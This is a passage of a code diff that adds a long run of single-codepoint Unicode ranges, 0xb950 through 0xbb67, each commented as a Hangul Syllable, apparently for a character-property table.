+ [0xb950, 0xb950], /* Hangul Syllable */
+ [0xb951, 0xb951], /* Hangul Syllable */
+ [0xb952, 0xb952], /* Hangul Syllable */
+ [0xb953, 0xb953], /* Hangul Syllable */
+ [0xb954, 0xb954], /* Hangul Syllable */
+ [0xb955, 0xb955], /* Hangul Syllable */
+ [0xb956, 0xb956], /* Hangul Syllable */
+ [0xb957, 0xb957], /* Hangul Syllable */
+ [0xb958, 0xb958], /* Hangul Syllable */
+ [0xb959, 0xb959], /* Hangul Syllable */
+ [0xb95a, 0xb95a], /* Hangul Syllable */
+ [0xb95b, 0xb95b], /* Hangul Syllable */
+ [0xb95c, 0xb95c], /* Hangul Syllable */
+ [0xb95d, 0xb95d], /* Hangul Syllable */
+ [0xb95e, 0xb95e], /* Hangul Syllable */
+ [0xb95f, 0xb95f], /* Hangul Syllable */
+ [0xb960, 0xb960], /* Hangul Syllable */
+ [0xb961, 0xb961], /* Hangul Syllable */
+ [0xb962, 0xb962], /* Hangul Syllable */
+ [0xb963, 0xb963], /* Hangul Syllable */
+ [0xb964, 0xb964], /* Hangul Syllable */
+ [0xb965, 0xb965], /* Hangul Syllable */
+ [0xb966, 0xb966], /* Hangul Syllable */
+ [0xb967, 0xb967], /* Hangul Syllable */
+ [0xb968, 0xb968], /* Hangul Syllable */
+ [0xb969, 0xb969], /* Hangul Syllable */
+ [0xb96a, 0xb96a], /* Hangul Syllable */
+ [0xb96b, 0xb96b], /* Hangul Syllable */
+ [0xb96c, 0xb96c], /* Hangul Syllable */
+ [0xb96d, 0xb96d], /* Hangul Syllable */
+ [0xb96e, 0xb96e], /* Hangul Syllable */
+ [0xb96f, 0xb96f], /* Hangul Syllable */
+ [0xb970, 0xb970], /* Hangul Syllable */
+ [0xb971, 0xb971], /* Hangul Syllable */
+ [0xb972, 0xb972], /* Hangul Syllable */
+ [0xb973, 0xb973], /* Hangul Syllable */
+ [0xb974, 0xb974], /* Hangul Syllable */
+ [0xb975, 0xb975], /* Hangul Syllable */
+ [0xb976, 0xb976], /* Hangul Syllable */
+ [0xb977, 0xb977], /* Hangul Syllable */
+ [0xb978, 0xb978], /* Hangul Syllable */
+ [0xb979, 0xb979], /* Hangul Syllable */
+ [0xb97a, 0xb97a], /* Hangul Syllable */
+ [0xb97b, 0xb97b], /* Hangul Syllable */
+ [0xb97c, 0xb97c], /* Hangul Syllable */
+ [0xb97d, 0xb97d], /* Hangul Syllable */
+ [0xb97e, 0xb97e], /* Hangul Syllable */
+ [0xb97f, 0xb97f], /* Hangul Syllable */
+ [0xb980, 0xb980], /* Hangul Syllable */
+ [0xb981, 0xb981], /* Hangul Syllable */
+ [0xb982, 0xb982], /* Hangul Syllable */
+ [0xb983, 0xb983], /* Hangul Syllable */
+ [0xb984, 0xb984], /* Hangul Syllable */
+ [0xb985, 0xb985], /* Hangul Syllable */
+ [0xb986, 0xb986], /* Hangul Syllable */
+ [0xb987, 0xb987], /* Hangul Syllable */
+ [0xb988, 0xb988], /* Hangul Syllable */
+ [0xb989, 0xb989], /* Hangul Syllable */
+ [0xb98a, 0xb98a], /* Hangul Syllable */
+ [0xb98b, 0xb98b], /* Hangul Syllable */
+ [0xb98c, 0xb98c], /* Hangul Syllable */
+ [0xb98d, 0xb98d], /* Hangul Syllable */
+ [0xb98e, 0xb98e], /* Hangul Syllable */
+ [0xb98f, 0xb98f], /* Hangul Syllable */
+ [0xb990, 0xb990], /* Hangul Syllable */
+ [0xb991, 0xb991], /* Hangul Syllable */
+ [0xb992, 0xb992], /* Hangul Syllable */
+ [0xb993, 0xb993], /* Hangul Syllable */
+ [0xb994, 0xb994], /* Hangul Syllable */
+ [0xb995, 0xb995], /* Hangul Syllable */
+ [0xb996, 0xb996], /* Hangul Syllable */
+ [0xb997, 0xb997], /* Hangul Syllable */
+ [0xb998, 0xb998], /* Hangul Syllable */
+ [0xb999, 0xb999], /* Hangul Syllable */
+ [0xb99a, 0xb99a], /* Hangul Syllable */
+ [0xb99b, 0xb99b], /* Hangul Syllable */
+ [0xb99c, 0xb99c], /* Hangul Syllable */
+ [0xb99d, 0xb99d], /* Hangul Syllable */
+ [0xb99e, 0xb99e], /* Hangul Syllable */
+ [0xb99f, 0xb99f], /* Hangul Syllable */
+ [0xb9a0, 0xb9a0], /* Hangul Syllable */
+ [0xb9a1, 0xb9a1], /* Hangul Syllable */
+ [0xb9a2, 0xb9a2], /* Hangul Syllable */
+ [0xb9a3, 0xb9a3], /* Hangul Syllable */
+ [0xb9a4, 0xb9a4], /* Hangul Syllable */
+ [0xb9a5, 0xb9a5], /* Hangul Syllable */
+ [0xb9a6, 0xb9a6], /* Hangul Syllable */
+ [0xb9a7, 0xb9a7], /* Hangul Syllable */
+ [0xb9a8, 0xb9a8], /* Hangul Syllable */
+ [0xb9a9, 0xb9a9], /* Hangul Syllable */
+ [0xb9aa, 0xb9aa], /* Hangul Syllable */
+ [0xb9ab, 0xb9ab], /* Hangul Syllable */
+ [0xb9ac, 0xb9ac], /* Hangul Syllable */
+ [0xb9ad, 0xb9ad], /* Hangul Syllable */
+ [0xb9ae, 0xb9ae], /* Hangul Syllable */
+ [0xb9af, 0xb9af], /* Hangul Syllable */
+ [0xb9b0, 0xb9b0], /* Hangul Syllable */
+ [0xb9b1, 0xb9b1], /* Hangul Syllable */
+ [0xb9b2, 0xb9b2], /* Hangul Syllable */
+ [0xb9b3, 0xb9b3], /* Hangul Syllable */
+ [0xb9b4, 0xb9b4], /* Hangul Syllable */
+ [0xb9b5, 0xb9b5], /* Hangul Syllable */
+ [0xb9b6, 0xb9b6], /* Hangul Syllable */
+ [0xb9b7, 0xb9b7], /* Hangul Syllable */
+ [0xb9b8, 0xb9b8], /* Hangul Syllable */
+ [0xb9b9, 0xb9b9], /* Hangul Syllable */
+ [0xb9ba, 0xb9ba], /* Hangul Syllable */
+ [0xb9bb, 0xb9bb], /* Hangul Syllable */
+ [0xb9bc, 0xb9bc], /* Hangul Syllable */
+ [0xb9bd, 0xb9bd], /* Hangul Syllable */
+ [0xb9be, 0xb9be], /* Hangul Syllable */
+ [0xb9bf, 0xb9bf], /* Hangul Syllable */
+ [0xb9c0, 0xb9c0], /* Hangul Syllable */
+ [0xb9c1, 0xb9c1], /* Hangul Syllable */
+ [0xb9c2, 0xb9c2], /* Hangul Syllable */
+ [0xb9c3, 0xb9c3], /* Hangul Syllable */
+ [0xb9c4, 0xb9c4], /* Hangul Syllable */
+ [0xb9c5, 0xb9c5], /* Hangul Syllable */
+ [0xb9c6, 0xb9c6], /* Hangul Syllable */
+ [0xb9c7, 0xb9c7], /* Hangul Syllable */
+ [0xb9c8, 0xb9c8], /* Hangul Syllable */
+ [0xb9c9, 0xb9c9], /* Hangul Syllable */
+ [0xb9ca, 0xb9ca], /* Hangul Syllable */
+ [0xb9cb, 0xb9cb], /* Hangul Syllable */
+ [0xb9cc, 0xb9cc], /* Hangul Syllable */
+ [0xb9cd, 0xb9cd], /* Hangul Syllable */
+ [0xb9ce, 0xb9ce], /* Hangul Syllable */
+ [0xb9cf, 0xb9cf], /* Hangul Syllable */
+ [0xb9d0, 0xb9d0], /* Hangul Syllable */
+ [0xb9d1, 0xb9d1], /* Hangul Syllable */
+ [0xb9d2, 0xb9d2], /* Hangul Syllable */
+ [0xb9d3, 0xb9d3], /* Hangul Syllable */
+ [0xb9d4, 0xb9d4], /* Hangul Syllable */
+ [0xb9d5, 0xb9d5], /* Hangul Syllable */
+ [0xb9d6, 0xb9d6], /* Hangul Syllable */
+ [0xb9d7, 0xb9d7], /* Hangul Syllable */
+ [0xb9d8, 0xb9d8], /* Hangul Syllable */
+ [0xb9d9, 0xb9d9], /* Hangul Syllable */
+ [0xb9da, 0xb9da], /* Hangul Syllable */
+ [0xb9db, 0xb9db], /* Hangul Syllable */
+ [0xb9dc, 0xb9dc], /* Hangul Syllable */
+ [0xb9dd, 0xb9dd], /* Hangul Syllable */
+ [0xb9de, 0xb9de], /* Hangul Syllable */
+ [0xb9df, 0xb9df], /* Hangul Syllable */
+ [0xb9e0, 0xb9e0], /* Hangul Syllable */
+ [0xb9e1, 0xb9e1], /* Hangul Syllable */
+ [0xb9e2, 0xb9e2], /* Hangul Syllable */
+ [0xb9e3, 0xb9e3], /* Hangul Syllable */
+ [0xb9e4, 0xb9e4], /* Hangul Syllable */
+ [0xb9e5, 0xb9e5], /* Hangul Syllable */
+ [0xb9e6, 0xb9e6], /* Hangul Syllable */
+ [0xb9e7, 0xb9e7], /* Hangul Syllable */
+ [0xb9e8, 0xb9e8], /* Hangul Syllable */
+ [0xb9e9, 0xb9e9], /* Hangul Syllable */
+ [0xb9ea, 0xb9ea], /* Hangul Syllable */
+ [0xb9eb, 0xb9eb], /* Hangul Syllable */
+ [0xb9ec, 0xb9ec], /* Hangul Syllable */
+ [0xb9ed, 0xb9ed], /* Hangul Syllable */
+ [0xb9ee, 0xb9ee], /* Hangul Syllable */
+ [0xb9ef, 0xb9ef], /* Hangul Syllable */
+ [0xb9f0, 0xb9f0], /* Hangul Syllable */
+ [0xb9f1, 0xb9f1], /* Hangul Syllable */
+ [0xb9f2, 0xb9f2], /* Hangul Syllable */
+ [0xb9f3, 0xb9f3], /* Hangul Syllable */
+ [0xb9f4, 0xb9f4], /* Hangul Syllable */
+ [0xb9f5, 0xb9f5], /* Hangul Syllable */
+ [0xb9f6, 0xb9f6], /* Hangul Syllable */
+ [0xb9f7, 0xb9f7], /* Hangul Syllable */
+ [0xb9f8, 0xb9f8], /* Hangul Syllable */
+ [0xb9f9, 0xb9f9], /* Hangul Syllable */
+ [0xb9fa, 0xb9fa], /* Hangul Syllable */
+ [0xb9fb, 0xb9fb], /* Hangul Syllable */
+ [0xb9fc, 0xb9fc], /* Hangul Syllable */
+ [0xb9fd, 0xb9fd], /* Hangul Syllable */
+ [0xb9fe, 0xb9fe], /* Hangul Syllable */
+ [0xb9ff, 0xb9ff], /* Hangul Syllable */
+ [0xba00, 0xba00], /* Hangul Syllable */
+ [0xba01, 0xba01], /* Hangul Syllable */
+ [0xba02, 0xba02], /* Hangul Syllable */
+ [0xba03, 0xba03], /* Hangul Syllable */
+ [0xba04, 0xba04], /* Hangul Syllable */
+ [0xba05, 0xba05], /* Hangul Syllable */
+ [0xba06, 0xba06], /* Hangul Syllable */
+ [0xba07, 0xba07], /* Hangul Syllable */
+ [0xba08, 0xba08], /* Hangul Syllable */
+ [0xba09, 0xba09], /* Hangul Syllable */
+ [0xba0a, 0xba0a], /* Hangul Syllable */
+ [0xba0b, 0xba0b], /* Hangul Syllable */
+ [0xba0c, 0xba0c], /* Hangul Syllable */
+ [0xba0d, 0xba0d], /* Hangul Syllable */
+ [0xba0e, 0xba0e], /* Hangul Syllable */
+ [0xba0f, 0xba0f], /* Hangul Syllable */
+ [0xba10, 0xba10], /* Hangul Syllable */
+ [0xba11, 0xba11], /* Hangul Syllable */
+ [0xba12, 0xba12], /* Hangul Syllable */
+ [0xba13, 0xba13], /* Hangul Syllable */
+ [0xba14, 0xba14], /* Hangul Syllable */
+ [0xba15, 0xba15], /* Hangul Syllable */
+ [0xba16, 0xba16], /* Hangul Syllable */
+ [0xba17, 0xba17], /* Hangul Syllable */
+ [0xba18, 0xba18], /* Hangul Syllable */
+ [0xba19, 0xba19], /* Hangul Syllable */
+ [0xba1a, 0xba1a], /* Hangul Syllable */
+ [0xba1b, 0xba1b], /* Hangul Syllable */
+ [0xba1c, 0xba1c], /* Hangul Syllable */
+ [0xba1d, 0xba1d], /* Hangul Syllable */
+ [0xba1e, 0xba1e], /* Hangul Syllable */
+ [0xba1f, 0xba1f], /* Hangul Syllable */
+ [0xba20, 0xba20], /* Hangul Syllable */
+ [0xba21, 0xba21], /* Hangul Syllable */
+ [0xba22, 0xba22], /* Hangul Syllable */
+ [0xba23, 0xba23], /* Hangul Syllable */
+ [0xba24, 0xba24], /* Hangul Syllable */
+ [0xba25, 0xba25], /* Hangul Syllable */
+ [0xba26, 0xba26], /* Hangul Syllable */
+ [0xba27, 0xba27], /* Hangul Syllable */
+ [0xba28, 0xba28], /* Hangul Syllable */
+ [0xba29, 0xba29], /* Hangul Syllable */
+ [0xba2a, 0xba2a], /* Hangul Syllable */
+ [0xba2b, 0xba2b], /* Hangul Syllable */
+ [0xba2c, 0xba2c], /* Hangul Syllable */
+ [0xba2d, 0xba2d], /* Hangul Syllable */
+ [0xba2e, 0xba2e], /* Hangul Syllable */
+ [0xba2f, 0xba2f], /* Hangul Syllable */
+ [0xba30, 0xba30], /* Hangul Syllable */
+ [0xba31, 0xba31], /* Hangul Syllable */
+ [0xba32, 0xba32], /* Hangul Syllable */
+ [0xba33, 0xba33], /* Hangul Syllable */
+ [0xba34, 0xba34], /* Hangul Syllable */
+ [0xba35, 0xba35], /* Hangul Syllable */
+ [0xba36, 0xba36], /* Hangul Syllable */
+ [0xba37, 0xba37], /* Hangul Syllable */
+ [0xba38, 0xba38], /* Hangul Syllable */
+ [0xba39, 0xba39], /* Hangul Syllable */
+ [0xba3a, 0xba3a], /* Hangul Syllable */
+ [0xba3b, 0xba3b], /* Hangul Syllable */
+ [0xba3c, 0xba3c], /* Hangul Syllable */
+ [0xba3d, 0xba3d], /* Hangul Syllable */
+ [0xba3e, 0xba3e], /* Hangul Syllable */
+ [0xba3f, 0xba3f], /* Hangul Syllable */
+ [0xba40, 0xba40], /* Hangul Syllable */
+ [0xba41, 0xba41], /* Hangul Syllable */
+ [0xba42, 0xba42], /* Hangul Syllable */
+ [0xba43, 0xba43], /* Hangul Syllable */
+ [0xba44, 0xba44], /* Hangul Syllable */
+ [0xba45, 0xba45], /* Hangul Syllable */
+ [0xba46, 0xba46], /* Hangul Syllable */
+ [0xba47, 0xba47], /* Hangul Syllable */
+ [0xba48, 0xba48], /* Hangul Syllable */
+ [0xba49, 0xba49], /* Hangul Syllable */
+ [0xba4a, 0xba4a], /* Hangul Syllable */
+ [0xba4b, 0xba4b], /* Hangul Syllable */
+ [0xba4c, 0xba4c], /* Hangul Syllable */
+ [0xba4d, 0xba4d], /* Hangul Syllable */
+ [0xba4e, 0xba4e], /* Hangul Syllable */
+ [0xba4f, 0xba4f], /* Hangul Syllable */
+ [0xba50, 0xba50], /* Hangul Syllable */
+ [0xba51, 0xba51], /* Hangul Syllable */
+ [0xba52, 0xba52], /* Hangul Syllable */
+ [0xba53, 0xba53], /* Hangul Syllable */
+ [0xba54, 0xba54], /* Hangul Syllable */
+ [0xba55, 0xba55], /* Hangul Syllable */
+ [0xba56, 0xba56], /* Hangul Syllable */
+ [0xba57, 0xba57], /* Hangul Syllable */
+ [0xba58, 0xba58], /* Hangul Syllable */
+ [0xba59, 0xba59], /* Hangul Syllable */
+ [0xba5a, 0xba5a], /* Hangul Syllable */
+ [0xba5b, 0xba5b], /* Hangul Syllable */
+ [0xba5c, 0xba5c], /* Hangul Syllable */
+ [0xba5d, 0xba5d], /* Hangul Syllable */
+ [0xba5e, 0xba5e], /* Hangul Syllable */
+ [0xba5f, 0xba5f], /* Hangul Syllable */
+ [0xba60, 0xba60], /* Hangul Syllable */
+ [0xba61, 0xba61], /* Hangul Syllable */
+ [0xba62, 0xba62], /* Hangul Syllable */
+ [0xba63, 0xba63], /* Hangul Syllable */
+ [0xba64, 0xba64], /* Hangul Syllable */
+ [0xba65, 0xba65], /* Hangul Syllable */
+ [0xba66, 0xba66], /* Hangul Syllable */
+ [0xba67, 0xba67], /* Hangul Syllable */
+ [0xba68, 0xba68], /* Hangul Syllable */
+ [0xba69, 0xba69], /* Hangul Syllable */
+ [0xba6a, 0xba6a], /* Hangul Syllable */
+ [0xba6b, 0xba6b], /* Hangul Syllable */
+ [0xba6c, 0xba6c], /* Hangul Syllable */
+ [0xba6d, 0xba6d], /* Hangul Syllable */
+ [0xba6e, 0xba6e], /* Hangul Syllable */
+ [0xba6f, 0xba6f], /* Hangul Syllable */
+ [0xba70, 0xba70], /* Hangul Syllable */
+ [0xba71, 0xba71], /* Hangul Syllable */
+ [0xba72, 0xba72], /* Hangul Syllable */
+ [0xba73, 0xba73], /* Hangul Syllable */
+ [0xba74, 0xba74], /* Hangul Syllable */
+ [0xba75, 0xba75], /* Hangul Syllable */
+ [0xba76, 0xba76], /* Hangul Syllable */
+ [0xba77, 0xba77], /* Hangul Syllable */
+ [0xba78, 0xba78], /* Hangul Syllable */
+ [0xba79, 0xba79], /* Hangul Syllable */
+ [0xba7a, 0xba7a], /* Hangul Syllable */
+ [0xba7b, 0xba7b], /* Hangul Syllable */
+ [0xba7c, 0xba7c], /* Hangul Syllable */
+ [0xba7d, 0xba7d], /* Hangul Syllable */
+ [0xba7e, 0xba7e], /* Hangul Syllable */
+ [0xba7f, 0xba7f], /* Hangul Syllable */
+ [0xba80, 0xba80], /* Hangul Syllable */
+ [0xba81, 0xba81], /* Hangul Syllable */
+ [0xba82, 0xba82], /* Hangul Syllable */
+ [0xba83, 0xba83], /* Hangul Syllable */
+ [0xba84, 0xba84], /* Hangul Syllable */
+ [0xba85, 0xba85], /* Hangul Syllable */
+ [0xba86, 0xba86], /* Hangul Syllable */
+ [0xba87, 0xba87], /* Hangul Syllable */
+ [0xba88, 0xba88], /* Hangul Syllable */
+ [0xba89, 0xba89], /* Hangul Syllable */
+ [0xba8a, 0xba8a], /* Hangul Syllable */
+ [0xba8b, 0xba8b], /* Hangul Syllable */
+ [0xba8c, 0xba8c], /* Hangul Syllable */
+ [0xba8d, 0xba8d], /* Hangul Syllable */
+ [0xba8e, 0xba8e], /* Hangul Syllable */
+ [0xba8f, 0xba8f], /* Hangul Syllable */
+ [0xba90, 0xba90], /* Hangul Syllable */
+ [0xba91, 0xba91], /* Hangul Syllable */
+ [0xba92, 0xba92], /* Hangul Syllable */
+ [0xba93, 0xba93], /* Hangul Syllable */
+ [0xba94, 0xba94], /* Hangul Syllable */
+ [0xba95, 0xba95], /* Hangul Syllable */
+ [0xba96, 0xba96], /* Hangul Syllable */
+ [0xba97, 0xba97], /* Hangul Syllable */
+ [0xba98, 0xba98], /* Hangul Syllable */
+ [0xba99, 0xba99], /* Hangul Syllable */
+ [0xba9a, 0xba9a], /* Hangul Syllable */
+ [0xba9b, 0xba9b], /* Hangul Syllable */
+ [0xba9c, 0xba9c], /* Hangul Syllable */
+ [0xba9d, 0xba9d], /* Hangul Syllable */
+ [0xba9e, 0xba9e], /* Hangul Syllable */
+ [0xba9f, 0xba9f], /* Hangul Syllable */
+ [0xbaa0, 0xbaa0], /* Hangul Syllable */
+ [0xbaa1, 0xbaa1], /* Hangul Syllable */
+ [0xbaa2, 0xbaa2], /* Hangul Syllable */
+ [0xbaa3, 0xbaa3], /* Hangul Syllable */
+ [0xbaa4, 0xbaa4], /* Hangul Syllable */
+ [0xbaa5, 0xbaa5], /* Hangul Syllable */
+ [0xbaa6, 0xbaa6], /* Hangul Syllable */
+ [0xbaa7, 0xbaa7], /* Hangul Syllable */
+ [0xbaa8, 0xbaa8], /* Hangul Syllable */
+ [0xbaa9, 0xbaa9], /* Hangul Syllable */
+ [0xbaaa, 0xbaaa], /* Hangul Syllable */
+ [0xbaab, 0xbaab], /* Hangul Syllable */
+ [0xbaac, 0xbaac], /* Hangul Syllable */
+ [0xbaad, 0xbaad], /* Hangul Syllable */
+ [0xbaae, 0xbaae], /* Hangul Syllable */
+ [0xbaaf, 0xbaaf], /* Hangul Syllable */
+ [0xbab0, 0xbab0], /* Hangul Syllable */
+ [0xbab1, 0xbab1], /* Hangul Syllable */
+ [0xbab2, 0xbab2], /* Hangul Syllable */
+ [0xbab3, 0xbab3], /* Hangul Syllable */
+ [0xbab4, 0xbab4], /* Hangul Syllable */
+ [0xbab5, 0xbab5], /* Hangul Syllable */
+ [0xbab6, 0xbab6], /* Hangul Syllable */
+ [0xbab7, 0xbab7], /* Hangul Syllable */
+ [0xbab8, 0xbab8], /* Hangul Syllable */
+ [0xbab9, 0xbab9], /* Hangul Syllable */
+ [0xbaba, 0xbaba], /* Hangul Syllable */
+ [0xbabb, 0xbabb], /* Hangul Syllable */
+ [0xbabc, 0xbabc], /* Hangul Syllable */
+ [0xbabd, 0xbabd], /* Hangul Syllable */
+ [0xbabe, 0xbabe], /* Hangul Syllable */
+ [0xbabf, 0xbabf], /* Hangul Syllable */
+ [0xbac0, 0xbac0], /* Hangul Syllable */
+ [0xbac1, 0xbac1], /* Hangul Syllable */
+ [0xbac2, 0xbac2], /* Hangul Syllable */
+ [0xbac3, 0xbac3], /* Hangul Syllable */
+ [0xbac4, 0xbac4], /* Hangul Syllable */
+ [0xbac5, 0xbac5], /* Hangul Syllable */
+ [0xbac6, 0xbac6], /* Hangul Syllable */
+ [0xbac7, 0xbac7], /* Hangul Syllable */
+ [0xbac8, 0xbac8], /* Hangul Syllable */
+ [0xbac9, 0xbac9], /* Hangul Syllable */
+ [0xbaca, 0xbaca], /* Hangul Syllable */
+ [0xbacb, 0xbacb], /* Hangul Syllable */
+ [0xbacc, 0xbacc], /* Hangul Syllable */
+ [0xbacd, 0xbacd], /* Hangul Syllable */
+ [0xbace, 0xbace], /* Hangul Syllable */
+ [0xbacf, 0xbacf], /* Hangul Syllable */
+ [0xbad0, 0xbad0], /* Hangul Syllable */
+ [0xbad1, 0xbad1], /* Hangul Syllable */
+ [0xbad2, 0xbad2], /* Hangul Syllable */
+ [0xbad3, 0xbad3], /* Hangul Syllable */
+ [0xbad4, 0xbad4], /* Hangul Syllable */
+ [0xbad5, 0xbad5], /* Hangul Syllable */
+ [0xbad6, 0xbad6], /* Hangul Syllable */
+ [0xbad7, 0xbad7], /* Hangul Syllable */
+ [0xbad8, 0xbad8], /* Hangul Syllable */
+ [0xbad9, 0xbad9], /* Hangul Syllable */
+ [0xbada, 0xbada], /* Hangul Syllable */
+ [0xbadb, 0xbadb], /* Hangul Syllable */
+ [0xbadc, 0xbadc], /* Hangul Syllable */
+ [0xbadd, 0xbadd], /* Hangul Syllable */
+ [0xbade, 0xbade], /* Hangul Syllable */
+ [0xbadf, 0xbadf], /* Hangul Syllable */
+ [0xbae0, 0xbae0], /* Hangul Syllable */
+ [0xbae1, 0xbae1], /* Hangul Syllable */
+ [0xbae2, 0xbae2], /* Hangul Syllable */
+ [0xbae3, 0xbae3], /* Hangul Syllable */
+ [0xbae4, 0xbae4], /* Hangul Syllable */
+ [0xbae5, 0xbae5], /* Hangul Syllable */
+ [0xbae6, 0xbae6], /* Hangul Syllable */
+ [0xbae7, 0xbae7], /* Hangul Syllable */
+ [0xbae8, 0xbae8], /* Hangul Syllable */
+ [0xbae9, 0xbae9], /* Hangul Syllable */
+ [0xbaea, 0xbaea], /* Hangul Syllable */
+ [0xbaeb, 0xbaeb], /* Hangul Syllable */
+ [0xbaec, 0xbaec], /* Hangul Syllable */
+ [0xbaed, 0xbaed], /* Hangul Syllable */
+ [0xbaee, 0xbaee], /* Hangul Syllable */
+ [0xbaef, 0xbaef], /* Hangul Syllable */
+ [0xbaf0, 0xbaf0], /* Hangul Syllable */
+ [0xbaf1, 0xbaf1], /* Hangul Syllable */
+ [0xbaf2, 0xbaf2], /* Hangul Syllable */
+ [0xbaf3, 0xbaf3], /* Hangul Syllable */
+ [0xbaf4, 0xbaf4], /* Hangul Syllable */
+ [0xbaf5, 0xbaf5], /* Hangul Syllable */
+ [0xbaf6, 0xbaf6], /* Hangul Syllable */
+ [0xbaf7, 0xbaf7], /* Hangul Syllable */
+ [0xbaf8, 0xbaf8], /* Hangul Syllable */
+ [0xbaf9, 0xbaf9], /* Hangul Syllable */
+ [0xbafa, 0xbafa], /* Hangul Syllable */
+ [0xbafb, 0xbafb], /* Hangul Syllable */
+ [0xbafc, 0xbafc], /* Hangul Syllable */
+ [0xbafd, 0xbafd], /* Hangul Syllable */
+ [0xbafe, 0xbafe], /* Hangul Syllable */
+ [0xbaff, 0xbaff], /* Hangul Syllable */
+ [0xbb00, 0xbb00], /* Hangul Syllable */
+ [0xbb01, 0xbb01], /* Hangul Syllable */
+ [0xbb02, 0xbb02], /* Hangul Syllable */
+ [0xbb03, 0xbb03], /* Hangul Syllable */
+ [0xbb04, 0xbb04], /* Hangul Syllable */
+ [0xbb05, 0xbb05], /* Hangul Syllable */
+ [0xbb06, 0xbb06], /* Hangul Syllable */
+ [0xbb07, 0xbb07], /* Hangul Syllable */
+ [0xbb08, 0xbb08], /* Hangul Syllable */
+ [0xbb09, 0xbb09], /* Hangul Syllable */
+ [0xbb0a, 0xbb0a], /* Hangul Syllable */
+ [0xbb0b, 0xbb0b], /* Hangul Syllable */
+ [0xbb0c, 0xbb0c], /* Hangul Syllable */
+ [0xbb0d, 0xbb0d], /* Hangul Syllable */
+ [0xbb0e, 0xbb0e], /* Hangul Syllable */
+ [0xbb0f, 0xbb0f], /* Hangul Syllable */
+ [0xbb10, 0xbb10], /* Hangul Syllable */
+ [0xbb11, 0xbb11], /* Hangul Syllable */
+ [0xbb12, 0xbb12], /* Hangul Syllable */
+ [0xbb13, 0xbb13], /* Hangul Syllable */
+ [0xbb14, 0xbb14], /* Hangul Syllable */
+ [0xbb15, 0xbb15], /* Hangul Syllable */
+ [0xbb16, 0xbb16], /* Hangul Syllable */
+ [0xbb17, 0xbb17], /* Hangul Syllable */
+ [0xbb18, 0xbb18], /* Hangul Syllable */
+ [0xbb19, 0xbb19], /* Hangul Syllable */
+ [0xbb1a, 0xbb1a], /* Hangul Syllable */
+ [0xbb1b, 0xbb1b], /* Hangul Syllable */
+ [0xbb1c, 0xbb1c], /* Hangul Syllable */
+ [0xbb1d, 0xbb1d], /* Hangul Syllable */
+ [0xbb1e, 0xbb1e], /* Hangul Syllable */
+ [0xbb1f, 0xbb1f], /* Hangul Syllable */
+ [0xbb20, 0xbb20], /* Hangul Syllable */
+ [0xbb21, 0xbb21], /* Hangul Syllable */
+ [0xbb22, 0xbb22], /* Hangul Syllable */
+ [0xbb23, 0xbb23], /* Hangul Syllable */
+ [0xbb24, 0xbb24], /* Hangul Syllable */
+ [0xbb25, 0xbb25], /* Hangul Syllable */
+ [0xbb26, 0xbb26], /* Hangul Syllable */
+ [0xbb27, 0xbb27], /* Hangul Syllable */
+ [0xbb28, 0xbb28], /* Hangul Syllable */
+ [0xbb29, 0xbb29], /* Hangul Syllable */
+ [0xbb2a, 0xbb2a], /* Hangul Syllable */
+ [0xbb2b, 0xbb2b], /* Hangul Syllable */
+ [0xbb2c, 0xbb2c], /* Hangul Syllable */
+ [0xbb2d, 0xbb2d], /* Hangul Syllable */
+ [0xbb2e, 0xbb2e], /* Hangul Syllable */
+ [0xbb2f, 0xbb2f], /* Hangul Syllable */
+ [0xbb30, 0xbb30], /* Hangul Syllable */
+ [0xbb31, 0xbb31], /* Hangul Syllable */
+ [0xbb32, 0xbb32], /* Hangul Syllable */
+ [0xbb33, 0xbb33], /* Hangul Syllable */
+ [0xbb34, 0xbb34], /* Hangul Syllable */
+ [0xbb35, 0xbb35], /* Hangul Syllable */
+ [0xbb36, 0xbb36], /* Hangul Syllable */
+ [0xbb37, 0xbb37], /* Hangul Syllable */
+ [0xbb38, 0xbb38], /* Hangul Syllable */
+ [0xbb39, 0xbb39], /* Hangul Syllable */
+ [0xbb3a, 0xbb3a], /* Hangul Syllable */
+ [0xbb3b, 0xbb3b], /* Hangul Syllable */
+ [0xbb3c, 0xbb3c], /* Hangul Syllable */
+ [0xbb3d, 0xbb3d], /* Hangul Syllable */
+ [0xbb3e, 0xbb3e], /* Hangul Syllable */
+ [0xbb3f, 0xbb3f], /* Hangul Syllable */
+ [0xbb40, 0xbb40], /* Hangul Syllable */
+ [0xbb41, 0xbb41], /* Hangul Syllable */
+ [0xbb42, 0xbb42], /* Hangul Syllable */
+ [0xbb43, 0xbb43], /* Hangul Syllable */
+ [0xbb44, 0xbb44], /* Hangul Syllable */
+ [0xbb45, 0xbb45], /* Hangul Syllable */
+ [0xbb46, 0xbb46], /* Hangul Syllable */
+ [0xbb47, 0xbb47], /* Hangul Syllable */
+ [0xbb48, 0xbb48], /* Hangul Syllable */
+ [0xbb49, 0xbb49], /* Hangul Syllable */
+ [0xbb4a, 0xbb4a], /* Hangul Syllable */
+ [0xbb4b, 0xbb4b], /* Hangul Syllable */
+ [0xbb4c, 0xbb4c], /* Hangul Syllable */
+ [0xbb4d, 0xbb4d], /* Hangul Syllable */
+ [0xbb4e, 0xbb4e], /* Hangul Syllable */
+ [0xbb4f, 0xbb4f], /* Hangul Syllable */
+ [0xbb50, 0xbb50], /* Hangul Syllable */
+ [0xbb51, 0xbb51], /* Hangul Syllable */
+ [0xbb52, 0xbb52], /* Hangul Syllable */
+ [0xbb53, 0xbb53], /* Hangul Syllable */
+ [0xbb54, 0xbb54], /* Hangul Syllable */
+ [0xbb55, 0xbb55], /* Hangul Syllable */
+ [0xbb56, 0xbb56], /* Hangul Syllable */
+ [0xbb57, 0xbb57], /* Hangul Syllable */
+ [0xbb58, 0xbb58], /* Hangul Syllable */
+ [0xbb59, 0xbb59], /* Hangul Syllable */
+ [0xbb5a, 0xbb5a], /* Hangul Syllable */
+ [0xbb5b, 0xbb5b], /* Hangul Syllable */
+ [0xbb5c, 0xbb5c], /* Hangul Syllable */
+ [0xbb5d, 0xbb5d], /* Hangul Syllable */
+ [0xbb5e, 0xbb5e], /* Hangul Syllable */
+ [0xbb5f, 0xbb5f], /* Hangul Syllable */
+ [0xbb60, 0xbb60], /* Hangul Syllable */
+ [0xbb61, 0xbb61], /* Hangul Syllable */
+ [0xbb62, 0xbb62], /* Hangul Syllable */
+ [0xbb63, 0xbb63], /* Hangul Syllable */
+ [0xbb64, 0xbb64], /* Hangul Syllable */
+ [0xbb65, 0xbb65], /* Hangul Syllable */
+ [0xbb66, 0xbb66], /* Hangul Syllable */
+ [0xbb67, 0xbb67], /* Hangul Syllable */
